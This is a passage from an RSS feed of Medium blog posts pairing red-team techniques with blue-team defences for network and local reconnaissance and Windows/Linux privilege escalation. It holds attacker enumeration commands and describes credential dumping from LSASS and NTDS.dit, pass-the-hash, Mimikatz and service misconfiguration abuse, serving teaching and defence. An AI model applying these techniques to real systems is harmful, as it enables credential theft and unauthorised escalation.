&amp; Hacking tools:</em></strong><em> i)Angry IP Scanner ii)Pinginfoview iii)nmap iv) ping v) Mimikatz v)PsExec VI) PowerShell</em></p><p><strong><em>Admin Utilities:</em></strong><em> SecureCRT, Putty, BeyondExec, MobaXterm</em></p><p><strong><em>Remote Desktop: </em></strong><em>Team viewer, WinVNC, Radmin, Anydesk, LogMein</em></p><p>When you gain access to a target machine, don’t use it to scan for more targets yet, as that might get you detected prematurely. Instead, plunder it for information about other potential targets based on network activity:</p><blockquote>ipconfig /displaydns #DNS cache (Windows)</blockquote><blockquote>arp -a #ARP cache</blockquote><blockquote>netstat -na # Established TCP connections</blockquote><blockquote>netstat -nr #Routing table</blockquote><blockquote>netsh wlan show networks mode=b #Displays nearby wifi</blockquote><p><em>“I have seen</em><strong><em> arp spoofing</em></strong><em> attacking cases at endpoint level wherein the attacker used built-in tools like WMIC, MSIEXEC, ARP for exploitation on a fully patched machine.”</em></p><p><strong><em>2a) Traceroute </em></strong>— Main purpose of trace route is to fix network problems. This helps you in identifying, while connecting to some network where the connection is actually slowing down, which intermediate router is responsible for that. But adversaries use to map out the route which data flows through the network in route to a target destination.</p><p><strong><em>2b) Ping &amp; Port Scanning </em></strong>— Tools like AngryIP Scanner</p><p><strong><em>2c) DNS &amp; ADS Queries </em></strong>— Tool that is commonly used for internal reconnaissance is <a href="https://github.com/BloodHoundAD/BloodHound">BloodHound</a> which can map out paths for an attacker.</p><p>Let’s consider If attackers want to determine which user account on which host will enable access to the data they are after, then BloodHound is an ideal tool for finding that information.</p><blockquote>ipconfig /display # Complete info of local DNS cache</blockquote><p><strong><em>2d) File Shares </em></strong>— SMB, NFS, SharePoint, Proprietary data collections, Samba Shares, WebDAV</p><p><strong><em>2e) Logon Scanning </em></strong>— Session Enumeration which finds out who is logged on where.</p><p>Net Cease is a short PowerShell script is used to change the Registry Key which controls the NetSessionEnum method permissions or use <a href="http://www.joeware.net/freetools/tools/netsess/index.htm">NetSess</a> Tool.</p><p><strong><em>2f) Find Remote Sessions and Processe</em></strong>s — When you get on a Windows box, look for ESTABLISHED TCP connections to ports 445 (SMB) and 3389 (RDP), as these other systems may be excellent systems to pivot to,provided they are in scope:</p><p>c:\&gt; netstat -na | find “EST” | find “:445”</p><p>c:\&gt; netstat -na | find “EST” | find “:3389”</p><p>Or using PowerSploit</p><p><strong><em>2g) Locate Domain &amp; Forest admins:</em></strong> <a href="http://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx#w2k3tr_logic_what_ovkc">Domain forests</a> are collections of domain containers that trust each other. A <a href="http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx"><strong>domain trust</strong></a> establishes the ability for users in one domain to authenticate to resources or act as a <a href="https://technet.microsoft.com/en-us/library/cc780957(v=ws.10).aspx">security principal</a> in another domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f-3pQkrzmbzii9M5rtcr5g.png" /><figcaption><em>Enumerate any current forest</em></figcaption></figure><p>Cracking SPN values for Gaining Domain Admin Rights in <strong>Active Directory using Impacket module &amp; Powersploit.</strong></p><p>SPN is used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account</p><p>These groups have the ability to logon to Domain Controllers by default:</p><p>• Enterprise Admins</p><p>• Domain Admins</p><p>• Administrators</p><p>• Backup Operators</p><p>• Account Operators</p><ul><li>Print Operators</li></ul><h3><strong>BLUE TEAM: Detective and Preventive Controls -</strong></h3><p><em>So once the attacker is operating from authorized host with authorized credentials and accessing n/w resources which he can’t be ..nothing strange we find &amp; he doesn’t search/use any exploits or little use of actual malware to do so — just use the n/w tools. Attacker tries different things, he doesn’t know where the server is ..he performs reconnaissance In order to reach the attack. He might be doing 100 of operations on diff hosts compromising diff user a/c moving laterally and this stage he is acting your home territory and you need to catch him once. This might not be automated attack, the more road block he faces, he becomes more creative .</em></p><p><em>All these tools usage doesn’t provide enough chances of catching the attacker. We have to really understand how the network operates. In order to provide security we should have visibility at all aspects at 3 levels, Providing partially visibility doesn’t help. I</em>dentify suspicious patterns of behavior from network traffic and endpoint activity.</p><p><strong>Endpoint Level:</strong></p><p><strong><em>1. Purchase Threat Detection &amp; Prevention tools </em></strong>— Installing A.V tools mitigates the chance of machine getting compromised and if unfortunately happens, atleast it will detect so that we can perform necessary actions to remediate.</p><p><strong><em>2. Implementing Secure Group Policies</em></strong> like b)Restrict Software Installations c) Follow the principle of least privilege d) Control Access to CMD e) Disable Guest Account f) Password length g)Password age limit h) Disabling Anonymous SID Enumeration in A.D h) Moderating access to control panel, I just mentioned few but there are many policies an organization can implement.</p><p><strong><em>3. Installing security patches</em></strong> (Microsoft release the security patches once in every month &amp; core security patches of any 0-day exploits ASAP)</p><p><strong><em>4. Configuring AppLocker</em></strong> and Whitelisting and blacklisting applications based on organization dependency.</p><p><strong><em>5. Implementing SIEM </em></strong>in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM, Monitor the above mentioned registry keys for any violation)</p><p><strong><em>6. Use of CanaryTokens — </em></strong>Attackers will explore around a network looking for systems that may have vulnerabilities, misconfigurations or contain high-value information. When an attacker performs a port scan, a brute force attack, downloads files from the file share, accesses a fake website or interacts with the device, it will generate alerts.</p><p>7. Maintaining an audit trail of system activity logs(above all) can<strong><em> </em></strong>help identify configuration errors, troubleshoot service disruptions, and analyze compromises that have occurred, as well as detect attacks.</p><p>8. Implementing File Integrity Monitoring Software’s</p><p>9. <strong>At an Administrator level</strong></p><p>• Reduce Domain and Local Administrators</p><p>• Audit special group Memberships (Enterprise Admins, Domain Admins, Administrators, Backup Operators, Account Operators, Print Operators)</p><p>• Reset KRBTGT password at least yearly, and every time an admin leaves your org.</p><ul><li>Use LAPS — Randomize Local Administrator Passwords</li></ul><p>10. <strong>Disable Legacy Protocols</strong> • LLMNR, NETBIOS, WPAD</p><p><strong>Network Level:</strong></p><p><strong>1.</strong> Implementing Network segregation — Segregating sensitive data and systems to make them more difficult to access.</p><p><em>2. UEBA -We can check from Endpoint &amp; network, but primary source is </em><strong><em>metadata from n/w. </em></strong><em>which used for 3 things</em></p><p><em>a) Identify diff entities in n/w — helps building behavior profiles ; Eg: if system moving from desk to meeting room</em></p><p><em>b) What’s the current behavior</em></p><p><em>c) Build behavior profiles over time.</em></p><p><em>3.</em> Implementing Tarpit network security mechanism which helps against computer worms and network abuses.</p><p>4<strong>.</strong> Monitoring at network level can be used to detect systems communicating with a C2 server, mostly Web Filtering (github).</p><p><strong>Process level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Train staff on the latest security threat and security tools.</p><p>3. Implement incident respond procedures for handling security incidents, breaches, and cyber threats.</p><p><a href="https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11"><em>Previous episode — Local reconnaissance &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/lateral-movement-702e5b2a5177"><em>Next episode — Lateral movement &amp; it’s defenses</em></a></p><p><strong><em>Bibliography</em></strong></p><p>@MITRE</p><p>@Cybermentor</p><p><a href="https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/">https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/</a></p><p><a href="https://blog.rapid7.com/2018/04/24/how-to-identify-attacker-reconnaissance-on-your-internal-network/">How to Identify Attacker Reconnaissance on Your Internal Network</a></p><p><a href="https://www.valencynetworks.com/blogs/cyber-attacks-explained-network-sniffing/">https://www.valencynetworks.com/blogs/cyber-attacks-explained-network-sniffing/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31e8e7550a3c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c">Perform Network Reconnaissance/Discovery</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Perform local reconnaissance/discovery]]></title>
            <link>https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/63d6bb713e11</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Sun, 03 May 2020 18:55:41 GMT</pubDate>
            <atom:updated>2020-06-03T03:05:11.529Z</atom:updated>
            <content:encoded><![CDATA[<p>Local Reconnaissance is done to understand about the system and internal network. The results help them to operate thereafter to achieve their objective. Let’s say If a Windows Active Directory structure is implemented, the hacker group can use the access credentials of the user or system obtained during the initial compromise to query the domain controllers, central systems that are used for authentication, etc. Information such as (privileged) user groups, password complexity requirements, access rights, open network shares, trust relationships with other domains, and the application portfolio can be determined.</p><p>Performing local reconnaissance on internal systems and network reconnaissance on internal network, both comes under same group as their main objective is to gather adequate information about internal organization structure. Internal reconnaissance is also referred to as post-exploitation reconnaissance.</p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p><strong>1.Credential harvesting/Steal Authentication Tokens</strong></p><p>Passwords are a very important aspect of information security. Before approaching lets understand how are they stored &amp; how are they used. Password hashes are loaded into the <strong><em>Local Security Authority Subsystem (Lsass)</em></strong>. Lsass runs as the executable %SystemRoot%\System32\Lsass.exe, which is responsible for user authentication, among other things whereas On Linux, tickets are stored in <strong><em>credential caches.</em></strong></p><p>It is important to note that dumping password hashes from the Windows SAM database or from memory requires administrative privileges.</p><p>Password attacks, such as password guessing(Online attack) or password cracking(offline attack), are time- consuming attacks. Tools that make use of precomputed hashes reduce the time needed to obtain passwords greatly.</p><p>Process-based attack — LSASS constantly communicates with a database file on the file system called NTDS.dit. This is the database that the Active Directory syncs it information to, about every five minutes usually, Which means that all the usernames and password hashes are stored in NTDS.dit(In C volume). Utilize Volume Shadow Copy Service (VSS). VSS is windows based backup service-VSSADMIN.EXE. Invoke VSS to backup the C volume and using tools like NTDS Extract find the username and hashes. VSS is by default OFF in Windows server but raises an alert when turned ON.</p><p><strong><em>1a) Pass the hash(PTH)</em></strong> — Most used &amp; successful technique wherein you first grab the credentials(NTLM hashes) either using frameworks or tools like procdump and use them later on. This attack is usually directed against Windows systems, however they can be found in other systems, for example vulnerable web applications. In Windows, pass-the-hash attack depends on the Single Sign-On (SSO) functionality in authentication protocols like NTLM and Kerberos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*867eCZlb3zeDrKaxtZ3_Eg.png" /><figcaption>Attack Scenario</figcaption></figure><p><em>Kerberos Ticket — The Kerberos ticket is a certificate issued by an authentication server, encrypted using the server key. U</em>tilise mimikatz.exe to get all the kerberos tickets</p><p><strong><em>1b) Pass The Ticket </em></strong>— Similar to PTH but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.</p><p>A method of authenticating to a system using Kerberos tickets without having access to an account’s password. It is a well-known method of impersonating users on an AD domain.</p><p>Kerberos authentication can be used as the first step to lateral movement to a remote system.</p><ul><li>Metasploit hashdump/Psexec module</li><li>Pshtoolkit</li><li>Impacket</li><li>Mimikatz</li><li>Rubeus</li></ul><p><strong>2. Common Local Targets </strong>— Use scripts(PS, VBS, BAT, Shell) to speedup up operational tasks which saves your time and these also helps in defense evasion by directly interacting with O.S at an API Level instead of calling other programs.</p><p><strong><em>2a) OS, Domain, Network Information — </em></strong>An adversary may attempt to get detailed information about the operating system and hardware including version, patches, hotfixes, architecture and network shares. Once explored he uses that info whether to fully infect the target and/or attempts specific actions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*GPNTc6USr0S-efnryPBuaw.png" /><figcaption>Version reconnassaince</figcaption></figure><ul><li>If it is cloud platform, perform asset discovery, and identify servers, virtual machines, software&#39;s if it is AWS.</li><li>Check the log file to figure out the name of Domin Controller <em>C:\Windows\debug\NetSetup.LOG</em></li></ul><p><strong><em>2b) Users &amp; Groups</em></strong> — Attempt to identify primary user and currently logged-on user, cached Kerberos tickets, list local and Domain accounts and it’s privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yFnezjr5shnAWyS8qAjwyA.png" /><figcaption>User info reconnaissance</figcaption></figure><blockquote><strong>Get Domain Names And When Account PWD set to Expire</strong></blockquote><blockquote><em>WMIC UserAccount GET name,PasswordExpires /Value</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*RNhD_PQZhTP5oAhGtvBhlw.png" /><figcaption>Enumerate domain trust with windows utility Nltest</figcaption></figure><p><strong><em>2c) Cache &amp; Logs -</em></strong></p><ul><li>The credential cache file holds Kerberos protocol credentials (for example, tickets, session keys, and other identifying information)</li><li>Check the <strong><em>bash_history,</em></strong> export function values, often you can find sensitive details that can be helpful for privilege escalation.</li></ul><p><strong><em>Eg:</em></strong> HTB Traceback Challenge has script to gain privilege escalation in bash_history file.</p><p><strong><em>2d) Services and process — </em></strong>Information obtained could be used to gain an understanding of common software running on systems and registered services within the network.</p><p><strong><em>wmic path win32_process get name,commandline /format:list</em></strong></p><p><strong><em>Tasklist /v</em></strong></p><p><strong><em>Tasklist /svc</em></strong></p><p><strong><em>SC query</em></strong></p><p>Look for any sysinternals tools &amp; makes use of them which helps you to perform actions faster.</p><p><strong><em>2e) Installed Apps </em></strong>— This is a core part to identify if there are defensive tools/software’s, Configurations such a secure group policies, firewall rules. Thereafter you approach changes based on the result. Let’s consider If you find internet explorer is in old version which can be exploited then you will concentrate to find remote shell, and it can reveal personal information (banking sites, social media a/c details).</p><p><strong><em>wmic product list full #</em></strong><em>list all the installed softwares</em></p><p><strong><em>2f) Files &amp; Registry —</em></strong></p><ul><li>Enumerate the Windows Registry to gather information about the system, configuration, installed software and values of Audit Settings, Virtualization artifacts, registered mail, browser, and instant messaging clients from the Registry.</li><li>Enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.</li></ul><p><strong><em>Eg: </em></strong><em>AutoIt malware searches the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, .zip, .mp4 and .jpeg. Assume the case your organization VPN document would have stored on disk.</em></p><blockquote>After all, use MMC snap-ins to enumerate local users and local groups, services, scheduled tasks, SMB shares and sessions on a system if you have an interactive desktop session on the compromised system either via RDP or if you are simulating an insider threat during a pentest and you are given a company’s laptop.</blockquote><blockquote>lusrmgr.msc #windows</blockquote><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>Monitor processes and command-line arguments for actions that could be taken to gather system and network information.</p><p><strong>Endpoint Level:</strong></p><p><strong><em>1. Purchase Threat Detection &amp; Prevention tools </em></strong>— Installing A.V tools mitigates the chance of machine getting compromised and if unfortunately happens, atleast it will detect so that we can perform necessary actions to remediate.</p><p><strong><em>2. Implementing Secure Group Policies </em></strong>like a) Disallow Removable Media b)Restrict Software Installations c) Follow the principle of least privilege d) Control Access to CMD e) Disable Guest Account f) Password length g)Password age limit h) Disabling Anonymous SID Enumeration in A.D h) Moderating access to control panel, I just mentioned few but there are many policies an organization can implement.</p><p><strong><em>3. Installing security patches </em></strong>(Microsoft release the security patches once in every month &amp; core security patches of any 0-day exploits ASAP)</p><p><strong><em>4. Configuring AppLocker </em></strong>and Whitelisting and blacklisting applications based on organization dependency.</p><p><strong><em>5. Implementing SIEM</em></strong> in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM, Monitor the above mentioned registry keys for any violation)</p><p><strong>Network Level:</strong></p><p>1. Monitoring at network level can be used to detect systems communicating with a C2 server.</p><p>2. Implementing Network segregation — Segregating sensitive data and systems to make them more difficult to access.</p><p>3. Web Filtering (github).</p><p>4. Session key is used to identify a user and to encrypt the information sent across the network. Empty session key is one identification of Pass the hash attack.</p><p><strong>Process level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyberattacks can help the organization against cyberattacks.</p><p>2. Train staff on the latest security threat and security tools.</p><p><a href="https://medium.com/redteam-blueteam-series/escalate-local-privileges-f11987baaada"><em>Previous blog — Local privilege escalation &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/perform-network-reconnaissance-discovery-31e8e7550a3c"><em>Next blog — Local network discovery &amp; it’s defenses</em></a></p><p><strong><em>Bibliography</em></strong></p><ul><li><a href="https://www.ibm.com/support/knowledgecenter/SSZUMP_7.1.2/management_sym/sym_kerberos_configuring_credential_cache_file.html?view=embed">Configuring the cache file for Kerberos credentials</a></li><li><a href="https://www.sciencedirect.com/topics/computer-science/ticket-granting-service">Ticket Granting Service</a></li></ul><p><a href="https://www.synopsys.com/blogs/software-security/stealing-authentication-tokens/">https://www.synopsys.com/blogs/software-security/stealing-authentication-tokens/</a></p><p><a href="https://www.sciencedirect.com/topics/computer-science/initial-reconnaissance">https://www.sciencedirect.com/topics/computer-science/initial-reconnaissance</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63d6bb713e11" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11">Perform local reconnaissance/discovery</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalate Local Privileges]]></title>
            <link>https://medium.com/redteam-blueteam-series/escalate-local-privileges-f11987baaada?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/f11987baaada</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[threat]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[misconfiguration]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
            <pubDate>Sun, 03 May 2020 18:28:07 GMT</pubDate>
            <atom:updated>2020-05-04T14:28:16.372Z</atom:updated>
            <content:encoded><![CDATA[<p>Local privilege escalation happens when one user acquires the system rights of another user, means getting privileges to access something that should not be accessible. Attackers use various privilege escalation techniques to access unauthorized resources. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware but uses tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. Let’s understand both red team and blue team tactics in offending and defending.</p><h3><strong>Red Team: Attack vectors and Techniques</strong></h3><p>Let’s understand the common approaches/techniques the red-teamer performs in finding local privilege escalation.</p><p><strong>1) Local Exploits</strong></p><p><strong>2) Weak Configurations</strong></p><p><strong><em>1a)</em></strong> <strong><em>Adversaries check for the kernel exploits</em></strong> and for any missing security patches. Check if windows version has any exploits and any vulnerable drivers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*-04D-jN8MU0BXOrrLXMBZw.png" /><figcaption>System info gathering</figcaption></figure><blockquote>Metasploit has scripts that can check for kernel exploits</blockquote><blockquote>/post/windows/gather/enum_patches</blockquote><blockquote>/post/multi/recon/local_exploit_suggester</blockquote><p><strong><em>2a) Enumerate to find weak configurations</em></strong></p><ul><li>Check to find if any passwords are stored in environmental variables — set, export <em>#commands</em></li><li>Check for Weak Configurations — WinSCP, Putty (<a href="https://github.com/ropnop/windows_sshagent_extract">Tools out their which can decrypt</a> like SessionGropher)</li></ul><p>HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\SshHostKeys</p><ul><li><strong><em>Check to execute any sudo command</em></strong></li><li><strong><em>Check for any weird suid command</em></strong></li></ul><blockquote><strong>find / -perm -u=s -type f 2&gt;/dev/null</strong></blockquote><blockquote>suid=It is a security tool that permits users to run certain programs with escalated privileges</blockquote><ul><li><strong><em>Process Injection</em></strong></li><li><strong><em>Exploiting AlwaysInstallElevated key</em></strong> by silent installation of malicious files using msiexec.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*aruYfoi6u2acxAcCfhQK_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*rNJ1B_Gi1OfPTqq4nOcUyw.png" /><figcaption>Silent installation</figcaption></figure><ul><li><strong><em>Check </em></strong>users can read<strong><em> </em></strong><a href="https://blog.stealthbits.com/running-laps-in-the-race-to-security/"><strong><em>LAPS</em></strong></a> attributes(<em>ms-msc-AdmPwd</em> and <em>ms-mcs-AdmPwdExpirationTime)</em> in the domain computer objects. CQURE Academy has a video on this technique.</li><li><strong><em>Check Audit Settings from the registry keys </em></strong>which maintains system activity logs for audit trial.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*LkuhJb1W8T9f8RpUlkLJ9g.png" /><figcaption>Audit registry keys</figcaption></figure><ul><li>Check if any of the <strong><em>groups having interesting permissions</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*IgSaWzhIBwhmvCM_9iGHGw.png" /><figcaption>Check user permissions</figcaption></figure><ul><li>Check to perform <strong><em>DLL Hijacking or binary overwriting</em></strong> among installed softwares.</li><li>Check <strong><em>scheduled tasks running from writable locations</em></strong> so that you can modify the script to your malicious payload with elevated privileges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/212/1*8rhBHVX8httcvq_EU5RfZQ.png" /><figcaption>Writable locations</figcaption></figure><ul><li><strong><em>Token Manipulation</em></strong> which is used to describe the security context of a process or a thread. The token contains information like the SID of the uses, the groups of the user, the privileges assigned to the user and its groups.</li></ul><p>Using the <strong><em>incognito </em>module </strong>of metasploit you can easily <strong>list </strong>and <strong>impersonate </strong>other <strong>tokens</strong>. This could be useful to perform<strong> actions as if you where the other user</strong>. You could also <strong>escalate privileges </strong>with this technique.</p><blockquote>I have seen this in wild where a scheduled task was created with rundll32.exe as a invoking method for the malicious script.</blockquote><ul><li><strong>Check UAC</strong> — UAC is used to allow an <strong>administrator user to not give administrator privileges to each process executed</strong>. This is <strong>achieved using default </strong>the <strong>low privileged token </strong>of the user.</li></ul><p>To differentiate between which binary is executed with low or high privileges, Mandatory integrity Controls (MIC) is used which entails 5 levels of integrity for processes. bypass the UAC (elevate from medium integrity level to high) some attackers use this kind of binaries to execute arbitrary code because it will be executed from a High level integrity process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSu6Ki6vD--hDCX1Eh6NaQ.png" /><figcaption>UAC registry keys</figcaption></figure><p>Meanwhile adversaries also checks for other keys like <em>ConsentPromptBehaviorAdmin, LocalAccountTokenFilterPolicy, FilterAdministratorToken</em> under the same location.</p><ul><li><strong><em>Check permissions</em></strong> <strong><em>of process binaries and folders</em></strong> to perform dll injection using icacls</li><li><strong><em>Perform memory password mining </em></strong>of running process like FTP(stores credentials in clear text in memory) using sysinternals <strong><em>procdump </em></strong><a href="https://medium.com/redteam-blueteam-series/run-the-payload-commands-d2956276173d"><em>(which I mentioned in blog-4 ).</em></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*iH2gGhYzx806G4-knMH0Qg.png" /><figcaption>Dumping lsass process memory</figcaption></figure><ul><li>Check if <strong><em>authenticated users</em></strong> <strong><em>can modify any service</em></strong> using accesschk/accessenum from sysinternals tools, SC.EXE, ICACLS.EXE</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*_rMBvOdxLoK6GJhexosC2Q.png" /><figcaption>Vulnerable directory &amp; process under it</figcaption></figure><ul><li><strong>Check if you can modify any service registry — </strong>Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGwT6C8oOajP_Z5qDICqVg.png" /><figcaption>Check services &amp; its permissions for users</figcaption></figure><ul><li><strong>Check Unquoted service paths</strong> — If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.</li></ul><p>For example, for the path <em>C:\Program Files\Some Folder\Service.exe</em> Windows will try to execute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*Dxs1PHspc4NHRdQ0u0v8MA.png" /><figcaption>Execution mechanism of unquoted service paths</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DWF7sp1RpR0heINi1m1hsg.png" /><figcaption><em>list all unquoted service paths (minus built-in Windows services)</em></figcaption></figure><ul><li>Recently released <a href="https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/"><strong><em>PrintSpoofer tool — Abusing SeImpersonate</em></strong></a> works great for privilege escalation on Win10 and Server 2016/2019 wherein code can be executed in the context of SYSTEM account.</li><li><strong><em>Escalation via RottenPotato, JuicyPotato tools</em></strong></li><li><strong><em>Escalation via Windows Subsystem for Linux.</em></strong></li></ul><blockquote><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS"><em>WinPEAS</em></a><em> &amp; LPEAS enumeration tools facilitates in finding misconfigurations and absence of patches on a system that you can take advantage of to gain administrative privileges. Check that out.</em></blockquote><h3><strong>BLUE TEAM: Detective and Preventive Controls</strong></h3><p>Following the best practices reduce the chance of successful privilege escalation attacks and we shall see the same at multiple levels.</p><p><strong>Endpoint Level:</strong></p><p>1. Purchase Threat Detection &amp; Prevention tools — Installing A.V tools mitigates the chance of machine getting compromised and if unfortunately happens, at least it will detect so that we can perform necessary actions to remediate.</p><p>2. Implementing Secure Group Policies like a) Disallow Removable Media b)Restrict Software Installations c) Follow the principle of least privilege d) Control Access to CMD e) Disable Guest Account f) Password length g)Password age limit h) Disabling Anonymous SID Enumeration in A.D h) Moderating access to control panel, I just mentioned few but there are many policies an organization can implement.</p><p>3. Installing security patches (Microsoft release the security patches once in every month &amp; core security patches of any 0-day exploits ASAP)</p><p>4. Harden Authentication by centralizing identity with Single sign-on (SSO) and deploy Multi-Factor authentication (MFA)</p><p>5. Configuring AppLocker and Whitelisting and blacklisting applications based on organization dependency.</p><p>6. Implementing SIEM in an organization and integrating with other threat detection sources and monitoring those alerts. (If possible configure sysmon to SIEM, Monitor the above mentioned registry keys for any violation)</p><p>7. Disabling DEP, ASLR protection enhances the chances of attackers achievement at core level for creating backdoors &amp; rootkits which needed high level access, Configure the SIEM for any modification here.</p><blockquote><strong>wmic OS Get DataExecutionPrevention_Available</strong></blockquote><blockquote>If the output is “TRUE,” hardware-enforced DEP is available.</blockquote><blockquote><strong>wmic OS Get DataExecutionPrevention_SupportPolicy</strong></blockquote><blockquote>Current DEP support policy (0,1,2,3 — Off, On for all process, only for windows components, Enabled for all but admins can provide list of not DEP process)</blockquote><p>8. Checkout WinPEAS &amp; LinPEAS and act accordingly.</p><p>9. Maintaining an audit trail of system activity logs(above all) can help identify configuration errors, troubleshoot service disruptions, and analyze compromises that have occurred, as well as detect attacks.</p><p><strong>Network Level:</strong></p><p>Harden Authentication by centralizing identity with Single sign-on (SSO) and deploy Multi-Factor authentication (MFA) is the best practice we can do to prevent attacker from entering your network and decrease their ability move around easily once inside.</p><p><strong>Process level:</strong></p><p>1. Preparation is the effective key in identifying &amp; responding. Training end users at regular intervals and providing awareness on cyber-attacks can help the organization against cyber-attacks.</p><p>2. Train staff on the latest security threat and security tools.</p><p><a href="https://medium.com/redteam-blueteam-series/obtain-c-c-channel-b1e357ac0f"><em>Previous blog — Obtain C&amp;C channel &amp; it’s defenses</em></a></p><p><a href="https://medium.com/redteam-blueteam-series/perform-local-reconnaissance-discovery-63d6bb713e11"><em>Next blog — Perform local reconnaissance &amp; it’s defen</em>ses</a></p><p><strong><em>Bibliography</em></strong></p><p><a href="https://book.hacktricks.xyz/windows/windows-local-privilege-escalation">https://book.hacktricks.xyz/windows/windows-local-privilege-escalation</a></p><p><a href="https://www.cynet.com/cyber-attacks/privilege-escalation/">https://www.cynet.com/cyber-attacks/privilege-escalation/</a></p><p><a href="https://www.admin-magazine.com/Articles/Understanding-Privilege-Escalation">https://www.admin-magazine.com/Articles/Understanding-Privilege-Escalation</a> — linux</p><p><a href="https://github.com/sagishahar/lpeworkshop">https://github.com/sagishahar/lpeworkshop</a></p><p><a href="https://www.acunetix.com/blog/web-security-zone/what-is-privilege-escalation/">https://www.acunetix.com/blog/web-security-zone/what-is-privilege-escalation/</a></p><p><a href="https://sec-consult.com/en/blog/2019/04/windows-privilege-escalation-an-approach-for-penetration-testers/">https://sec-consult.com/en/blog/2019/04/windows-privilege-escalation-an-approach-for-penetration-testers/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f11987baaada" width="1" height="1" alt=""><hr><p><a href="https://medium.com/redteam-blueteam-series/escalate-local-privileges-f11987baaada">Escalate Local Privileges</a> was originally published in <a href="https://medium.com/redteam-blueteam-series">Redteam &amp; Blueteam Series</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Obtain C&C Channel]]></title>
            <link>https://medium.com/redteam-blueteam-series/obtain-c-c-channel-b1e357ac0f?source=rss----b180c3534d60---4</link>
            <guid isPermaLink="false">https://medium.com/p/b1e357ac0f</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[dns-attack]]></category>
            <category><![CDATA[threat]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[command-and-control]]></category>
            <dc:creator><![CDATA[Mohan reddy ]]></dc:creator>
